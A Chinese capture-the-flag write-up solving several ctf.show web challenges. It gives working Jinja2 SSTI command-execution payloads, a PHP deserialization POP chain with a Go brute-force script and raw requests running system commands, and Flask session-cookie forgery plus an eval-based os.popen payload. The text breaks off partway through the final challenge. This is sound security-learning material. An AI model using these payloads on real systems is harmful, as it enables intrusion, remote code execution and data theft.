easy_signin
点击,看到一个滑稽,同时观察到url变化了

很明显img参数就是base64,解码发现内容是face.png,这下懂了,就是内容读取,所以直接改成index.php并进行base64编码,内容是aW5kZXgucGhw,用img请求,右键查看源代码得到index.php的base64编码内容,再丢去解码得到flag


easy_ssti
关键词:Jinja2, SSTI, Flask
代码
from flask import Flask from flask import render_template_string,render_template app = Flask(__name__) @app.route('/hello/') def hello(name=None): return render_template('hello.html',name=name) @app.route('/hello/<name>') def hellodear(name): if "ge" in name: return render_template_string('hello %s' % name) elif "f" not in name: return render_template_string('hello %s' % name) else: return 'Nonononon'
前置知识
思考
因为我之前是没有接触过flask的,一上来看到ssti有点懵逼,不知道是啥,所以先参考了一下前置知识,了解到了flask/jinja2中使用{{}}可以进行表达式运算,甚至可以动态引用库从而获得flag。
在
return render_template_string('hello %s' % name)
中,使用{{ }}
语法也是基于Jinja2模板引擎的特性。做题
在首页查看源代码,我们可以发现html注释,通过访问 app.zip 来下载源码,得到要访问 /hello/xxx来应用jinja模板
直接传入{{}}可以得到错误信息,虽然没多大用处
尝试传入{{config.items()}}失败,因为题目代码过滤了f
这也就表明想要通过 {{config}}获取信息就不可能了
做题前先了解一下Flask相关的SSTI原理,为了避免占太大的篇幅,就放到下面这个子页面说了
SSTI Flask 前置知识subprocess.Popen
我们的目的是执行其他命令,所以我们要找到这一个类并且运行
找到了,它在这

那我怎么知道它是第几个?全局搜索<然后数格子哇

这里他在第396,想必用它就是在[395]位置了

一访问,还真是,舒服啦
尝试
{{''.__class__.__mro__[1].__subclasses__()[395](['echo','1'],shell=True,stdout=1).communicate()}}
输出失败,原因不明
stdout=-1
原因找到了
stdout=1
表示将标准输出重定向到文件描述符1,这是一个整数,表示标准输出。在Python中,标准输出通常被重定向到终端窗口或控制台。然而,由于Jinja2模板中的代码并不是在控制台上执行,因此无法直接输出到终端窗口。此外,Jinja2模板中的代码被包含在HTML页面中,因此还需要考虑输出到HTML页面的方式。
为了在Jinja2模板中输出命令执行结果,可以将
stdout
参数设置为-1
,这会将标准输出重定向到管道,从而使命令输出能够被重定向到communicate()
方法返回的元组中。例如:scssCopy code {{ ''.__class__.__mro__[1].__subclasses__()[395]('pwd',shell=True,stdout=-1).communicate() }}
在上述代码中,使用
stdout=-1
将标准输出重定向到管道,并通过communicate()
方法获取命令执行结果。在无法使用 / 的情况下拿到/flag
因为url一传 / ,就会被当路径给分隔掉,所以用一种奇淫巧计,就是pwd获得当前路径,然后分隔第一个字符,再拼接flag不就可以了吗~
由于$ { }这种字符还可能会被当成url的奇怪参数,所以最好编码一下
{{''.__class__.__mro__[1].__subclasses__()[395]('cat %24%7BPWD:0:1%7D%3Flag',shell=True,stdout=-1).communicate()}}

这就是,你心心念念的flag.jpg
被遗忘的反序列化
源码
<?php # 当前目录中有一个txt文件哦 error_reporting(0); show_source(__FILE__); include("check.php"); class EeE{ public $text; public $eeee; public function __wakeup(){ if ($this->text == "aaaa"){ echo lcfirst($this->text); } } public function __get($kk){ echo "$kk,eeeeeeeeeeeee"; } public function __clone(){ $a = new cycycycy; $a -> aaa(); } } class cycycycy{ public $a; private $b; public function aaa(){ $get = $_GET['get']; $get = cipher($get); if($get === "p8vfuv8g8v8py"){ eval($_POST["eval"]); } } public function __invoke(){ $a_a = $this -> a; echo "\$a_a\$"; } } class gBoBg{ public $name; public $file; public $coos; private $eeee="-_-"; public function __toString(){ if(isset($this->name)){ $a = new $this->coos($this->file); echo $a; }else if(!isset($this -> file)){ return $this->coos->name; }else{ $aa = $this->coos; $bb = $this->file; return $aa(); } } } class w_wuw_w{ public $aaa; public $key; public $file; public function __wakeup(){ if(!preg_match("/php|63|\*|\?/i",$this -> key)){ $this->key = file_get_contents($this -> file); }else{ echo "不行哦"; } } public function __destruct(){ echo $this->aaa; } public function __invoke(){ $this -> aaa = clone new EeE; } } $_ip = $_SERVER["HTTP_AAAAAA"]; unserialize($_ip);
思路
看最底下,是通过HTTP请求头并反序列化来搞的,所以只要在HTTP请求头放入序列化的类就好了。然后关键在于gBoBg这个类,有使用一个叫 new $this→coos($this→file)的,其中 this→coos和$this→file都可控。
所以认为整个的思路应该是,通过 w_wuw_w 的 __invoke 调用EeE,通过EeE的__get调用gBoBg,同时clone可以用于调用cycycycy中的aaa。然后aaa可以直接eval,拿shell。但是我目前不知道cipher到底是干嘛的,因为不是原生函数,所以第一步应该还是要让gBoBg工作。
同时,还要让类里的某一个变量嵌套另一对象,这样来实现一个类调用另一个类的东西。比如说,我让EeE的变量eeee等于另一个类,并且serialize出来,这样unserialize就可以互相调用啦
参考资料
解题方法1
获取txt文件名名称
先看题目,题目中说有一个txt文件,但是用dirsearch好像扫不出来,我们就要利用题目中的反序列化条件,我的思路是,通过DirectoryIterator创建类,传入参数 glob://./*.txt 来获取当前目录下的所有txt文件名
看题目,可被执行 __wakeup 的类有两个,分别是EeE和w_wuw_w。但是w_wuw_w似乎没法通过file_get_contents来获取文件名,遂作罢。目光转向EeE,我原本在想这个wakeup到底能怎么利用,看了writeup以后发现,原来text可以是一个对象我们的目的不是要使等式成立,而是要通过 $this→text来调用gBoBg中的toString,从而通过传入 $coos 和 $file 来new任意类,那 DirectoryIterator 配合 glob 就可以满足这个工作啦~
所以写下第一个代码,用于获取txt文件名
<?php class EeE{ public $text; } class gBoBg { public $name = "test"; // 用于绕过isset($this->name) public $file; public $coos; public function __construct($file) { $this->coos = "DirectoryIterator"; // 用于获取目录文件名 $this->file = $file; } } $a = new EeE(); $a->text = new gBoBg("glob://./*.txt"); // 获取当前目录下的所有txt文件,不要被text所束缚住了,text也可以传入对象 echo serialize($a);
获得序列化的字符串
O:3:"EeE":2:{s:4:"text";O:5:"gBoBg":2:{s:4:"file";N;s:4:"coos";s:17:"DirectoryIterator";}s:4:"eeee";N;}
通过断点我们可以发现,它先执行了EeE的wakeup,然后经过 $this→text 调用了gBoBg的 __toString,然后通过 new $this→coos($this→file) 获取了当前目录下所有txt文件内容,并且echo出来
然后通过请求头设置AAAAAA,内容为这个序列化的字符串,就可以拿到txt文件名啦

访问后获得提示
#用于check.php key:qwertyuiopasdfghjklzxcvbnm123456789 move:2~4
得到eval权限
既然已经拿到了key,看提示应该是move2到4位,所以就是要猜,应该是移位密码。
看了下writeup,最终要得到eval的执行权限,所以我们应该调用 cycycycy 的aaa(),cipher函数的工作原理我们不清楚,但是根据hint大概可以推得,需要使用移位密码的帮助,至于是往左移还是往右移。。。我也不知道啊,设成-4~4呗,都试一遍总不会出问题了吧~
需要调用aaa(),我们可以看到EeE的__clone里面有一个调用$a→aaa(),同时也是由EeE调用的,那我们就要想怎么调用得了EeE的clone,再看下面,有 w_wuw_w调用__invoke,可以调用得了 clone new EeE,所以问题就变成了怎么调用 w_wuw_w 的__invoke。
invoke的调用方法要取得其他方法的new,刚好gBoBg可以自定义new的类,那我们就将 coos 设成 w_wuw_w ,$this→file 不设置,$this→name 随意设置就行了面,问题变成了怎么调用gBoBg的toString。
上面EeE的中,有调用 text 哇,将EeE的text设置成gBoBg就好了,那怎么调用EeE的__wakeup()呢
调锤子调,直接unserialize的是EeE就行了hhh
所以最终的流程图大概就是这样(但是是错的hhh)

然后发现是错的,想法很美好,实际上根本没有调用到 __invoke(),但是确实new了w_wuw_w,却没有直接调用这个类方法(要使用 $a = new w_wuw_w; $a(); 这种方法才能调用__invoke()。),所以并没有调用得到 __invoke()。
既然这个流程不正确,我们需要修改一下这个流程。实际上,我们不一定要执行gBoBg的第一个判断,第二个参数因为没有其他参数有内部存在 →name 的,所以可以直接执行第三个判断条件,即存在 $aa() 的这个

最终的效果就是这样了(后记:但这样还是错的,主要的原因是,注意isset($this→file),如果为空的话,就会进到第二个判断块,而且要在class内设,不能在外面用 $a→file来设,不然进去还是null)

不知道为什么这样设置以后,会唤醒 w_wuw_w 的 file_get_contents ,然后就进行不到下一步了。(后面有解决)
下面的代码是最终可用的序列化代码
<?php class EeE { public $text; } class cycycycy { public $a; } class gBoBg { public $file = "test"; public $coos; } class w_wuw_w { public $aaa; public $file = "a"; // 在PHP8.2.0里,如果file_get_contents为空,php会直接崩溃 } $a = new EeE(); $a->text = new gBoBg(); $a->text->coos = new w_wuw_w(); $a->text->coos->file = "a"; echo serialize($a);
去掉禁用报错提醒以后发现,在PHP8.2.0下,file_get_contents如果不传入参数,php就会直接宕掉,但是禁用了报错提醒的结果就是,前面的show_source是正常执行的,你压根不知道为啥会寄。。。
注意这里容易混淆的是
if(!isset($this -> file))
,想要绕过这个if,就要设置非空$file!跳到最后一个else块,让它能执行aa();,这样才能访问到invoke()序列化的结果是
O:3:"EeE":1:{s:4:"text";O:5:"gBoBg":2:{s:4:"file";s:4:"test";s:4:"coos";O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";N;s:4:"file";s:1:"a";}}}

这下对了,剩下的工作就是猜key了
猜key
猜key我们用执行phpinfo()判断文件长度来猜测。
用Go来写下面的程序,思路是修改get参数判断文件长度,如果它最与众不同,那就是它了,move说是2~4,但是我们不知道是左移还是右移,所以都要尝试一遍
这里要注意,
req.Header["Content-Type"] = []string{"application/x-www-form-urlencoded"}
这个一定不能丢,我刚开始还以为是burpsuite问题,为啥post上去PHP接不到post参数,拿了两个小时调试以后才发现请求头丢了这一个。。。不要图简洁就把所有请求头删了,一定要检查一下是干嘛的hhhpackage main import ( "crypto/tls" "fmt" "io" "net/http" "net/url" "strings" ) func main() { // key:qwertyuiopasdfghjklzxcvbnm123456789 // // move:2~4 key := "qwertyuiopasdfghjklzxcvbnm123456789" originGet := "p8vfuv8g8v8py" for move := -4; move <= -2; move++ { realGet := calcKey(originGet, key, move) println(curlGetContent(string(realGet))) } for move := 2; move <= 4; move++ { realGet := calcKey(originGet, key, move) println(curlGetContent(string(realGet))) println(string(realGet)) } } func calcKey(originGet string, key string, move int) []byte { realGet := []byte(originGet) // 2. 从key中取出第二个字符,移动2~4位,得到新的字符 for getIndex := 0; getIndex < len(originGet); getIndex++ { realGet[getIndex] = key[(strings.IndexByte(key, realGet[getIndex])+move)%len(key)] } return realGet } func curlGetContent(realGet string) int64 { proxyUrl, err := url.Parse("http://127.0.0.1:8080") if err != nil { fmt.Println("Error parsing proxy URL:", err) return -1 } tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, Proxy: http.ProxyURL(proxyUrl), } client := &http.Client{Transport: tr} params := url.Values{} params.Set("eval", "phpinfo();") body := strings.NewReader(params.Encode()) req, err := http.NewRequest("POST", "http://51072a57-c578-4a58-bdda-46c1fb160fed.challenge.ctf.show/?get="+realGet, body) if err != nil { // handle err } req.Host = "51072a57-c578-4a58-bdda-46c1fb160fed.challenge.ctf.show" req.Header["AAAAAA"] = []string{"O:3:\"EeE\":1:{s:4:\"text\";O:5:\"gBoBg\":2:{s:4:\"file\";s:4:\"test\";s:4:\"coos\";O:7:\"w_wuw_w\":3:{s:3:\"aaa\";N;s:3:\"key\";N;s:4:\"file\";s:1:\"a\";}}}"} req.Header["Content-Type"] = []string{"application/x-www-form-urlencoded"} resp, err := client.Do(req) if err != nil { // handle err } defer resp.Body.Close() body2, err := io.ReadAll(resp.Body) if err != nil { fmt.Println(err) return -1 } fmt.Printf("Response length: %v\n", len(body2)) return resp.ContentLength }

找到实际的密钥为 fe1ka1ele1efp
得到key了,直接上burpsuite,改eval开搞!
POST /?get=fe1ka1ele1efp HTTP/1.1 Host: 51072a57-c578-4a58-bdda-46c1fb160fed.challenge.ctf.show User-Agent: Go-http-client/1.1 Content-Length: 20 AAAAAA: O:3:"EeE":1:{s:4:"text";O:5:"gBoBg":2:{s:4:"file";s:4:"test";s:4:"coos";O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";N;s:4:"file";s:1:"a";}}} Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Connection: close eval=system("ls /");
可以看到,返回内容
bin dev etc f1agaaa home lib media mnt opt proc root run sbin srv sys tmp usr var
flag这不就找到了嘛,令system参数为 cat f1agaaa,拿到flag咯~
最终拿到flag的请求如下
POST /?get=fe1ka1ele1efp HTTP/1.1 Host: 51072a57-c578-4a58-bdda-46c1fb160fed.challenge.ctf.show User-Agent: Go-http-client/1.1 Content-Length: 28 AAAAAA: O:3:"EeE":1:{s:4:"text";O:5:"gBoBg":2:{s:4:"file";s:4:"test";s:4:"coos";O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";N;s:4:"file";s:1:"a";}}} Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Connection: close eval=system("cat /f1agaaa");
解题方法2
这里感谢 pip0x0 给出的非预期解,发现还有其他方法
之前提到的 DirectoryIterator ,其实能够知道文件名是f开头的话,也可以用这个来找文件名
<?php class EeE{ public $text; } class gBoBg { public $name = "test"; public $file; public $coos; public function __construct($class, $param) { $this->coos = $class; $this->file = $param; } } $a = new EeE(); $a->text = new gBoBg("DirectoryIterator","glob:///*f*"); echo serialize($a);
序列化结果是:
O:3:"EeE":1:{s:4:"text";O:5:"gBoBg":3:{s:4:"name";s:4:"test";s:4:"file";s:11:"glob:///
f
";s:4:"coos";s:17:"DirectoryIterator";}}
可以知道文件名是 f1agaaa
然后很可惜,这题里面的file_get_contents并没有用,是干扰项
为何不再调用一个可以查看文件的类呢~
偷看pip同学的wp后发现,可以通过 SplFileObject 来读取文件,并且输出文件内容,简单修改一下上面的php文件就可以了
<?php class EeE{ public $text; } class gBoBg { public $name = "test"; public $file; public $coos; public function __construct($class, $param) { $this->coos = $class; $this->file = $param; } } $a = new EeE(); $a->text = new gBoBg("SplFileObject","/f1agaaa"); echo serialize($a);
序列化结果是:
O:3:"EeE":1:{s:4:"text";O:5:"gBoBg":3:{s:4:"name";s:4:"test";s:4:"file";s:8:"/f1agaaa";s:4:"coos";s:13:"SplFileObject";}}
这样更简单,而且一样可以拿到flag。
再次感谢pip同学!
总结
这道题还是有点难顶,但是也学到了很多。其中学到的东西包括,类里面的变量可以传一个对象,以及__invoke()、__wakeup()等函数是什么时候被调用的,以及怎么巧妙地利用__tostring(),还有学会了利用DirectoryIterator类来获取文件名等等。总之是对自己很有帮助的一题,虽然用的时间很长,用了几天来解决这一道题。
Easy_Flask
参考资料
做题
先注册一个账号,再登录,登录以后看到代码,发现有个secret_key,用的是session。我一开始以为Flask的session和php的一样,全部存在服务器没法看的,但是搜索后发现,数据只是以 base64 的形式存储在cookie中,然后用secretkey签个名而已。
访问 /profile ,发现role为admin有特殊服务,所以就是想办法拿到admin权限

访问 /show/, 获得代码和secret_key,得知要将role改为admin,可以用
这个工具来修改。
flask-session-cookie-manager3 decode -s "S3cr3tK3y" -c "eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6InRlc3QifQ.ZElGmg.RYou3LzsfoM3T1XgbTmw6MPQHZc" {'loggedin': True, 'role': 'user', 'username': 'test'}
将role改成admin,再来一次
flask-session-cookie-manager3 encode -s "S3cr3tK3y" -t "{'loggedin': True, 'role': 'admin', 'username': 'admin'}" .eJyrVsrJT09PTcnMU7IqKSpN1VEqys9JVbJSSkzJBYrpKJUWpxblJeYihGoBzOYRgA.ZElL7w.8gjiTAlOJH3gzzlmA4-K4R4Kxcw
修改cookie再请求,发现可以下载flag了,但是是假flag,文件名却可以修改
修改文件名为 app.py ,查看源代码如下
# app.py from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response app = Flask(__name__) app.secret_key = 'S3cr3tK3y' users = { 'admin': {'password': 'LKHSADSFHLA;KHLK;FSDHLK;ASFD', 'role': 'admin'} } @app.route('/') def index(): # Check if user is loggedin if 'loggedin' in session: return redirect(url_for('profile')) return redirect(url_for('login')) @app.route('/login/', methods=['GET', 'POST']) def login(): msg = '' if request.method == 'POST' and 'username' in request.form and 'password' in request.form: username = request.form['username'] password = request.form['password'] if username in users and password == users[username]['password']: session['loggedin'] = True session['username'] = username session['role'] = users[username]['role'] return redirect(url_for('profile')) else: msg = 'Incorrect username/password!' return render_template('login2.html', msg=msg) @app.route('/register/', methods=['GET', 'POST']) def register(): msg = '' if request.method == 'POST' and 'username' in request.form and 'password' in request.form: username = request.form['username'] password = request.form['password'] if username in users: msg = 'Account already exists!' else: users[username] = {'password': password, 'role': 'user'} msg = 'You have successfully registered!' return render_template('register2.html', msg=msg) @app.route('/profile/') def profile(): if 'loggedin' in session: return render_template('profile2.html', username=session['username'], role=session['role']) return redirect(url_for('login')) @app.route('/show/') def show(): if 'loggedin' in session: return render_template('show2.html') @app.route('/download/') def download(): if 'loggedin' in session: filename = request.args.get('filename') if 'filename' in request.args: return send_file(filename, as_attachment=True) return redirect(url_for('login')) @app.route('/hello/') def hello_world(): try: s = request.args.get('eval') return f"hello,{eval(s)}" except Exception as e: print(e) pass return "hello" @app.route('/logout/') def logout(): session.pop('loggedin', None) session.pop('id', None) session.pop('username', None) session.pop('role', None) return redirect(url_for('login')) if __name__ == "__main__": app.run(host='0.0.0.0', port=8080)
可知/hello处有一个eval的执行,可以动态引入os来拿到flag
注意不能用 os.system() ,而应该用 os.popen(),因为os.system()会直接将输出打印到控制台,而只会拿到返回的int结果。
所以我们构造参数eval为
__import__("os").popen("ls%20/").readlines()
得到返回结果
hello,['app\n', 'bin\n', 'dev\n', 'etc\n', 'flag_is_h3re\n', 'home\n', 'lib\n', 'media\n', 'mnt\n', 'opt\n', 'proc\n', 'root\n', 'run\n', 'sbin\n', 'srv\n', 'sys\n', 'tmp\n', 'usr\n', 'var\n']
然后构造参数eval为
__
import__
("os").popen("cat%20/flag_is_h3re").readlines()
拿到flag
easy_php
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2023-03-24 10:16:33 # @Last Modified by: h1xa # @Last Modified time: 2023-03-25 00:25:52 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); class ctfshow{ public function __wakeup(){ die("not allowed!"); } public function __destruct(){ system($this->ctfshow); } } $data = $_GET['1+1>2']; if(!preg_match("/^[Oa]:[\d]+/i", $data)){ unserialize($data); } ?>
做题
这里正则拦截了O和a开头的序列化字符串,所以我们就要参考一下序列化的格式到底有什么。很显然,序列化不单只是O和a开头的,还有其他的形式,比如我们这里用的C(custom object),在反序列化的时候会解释为一个新的类而不是对象,这个类即使是名字相同,但是和原来的ctfshow类不是同一个类了。
我们的目的应该是使类ctfshow能执行到__destruct,并且使$this→ctfshow可控,还不能碰到wakeup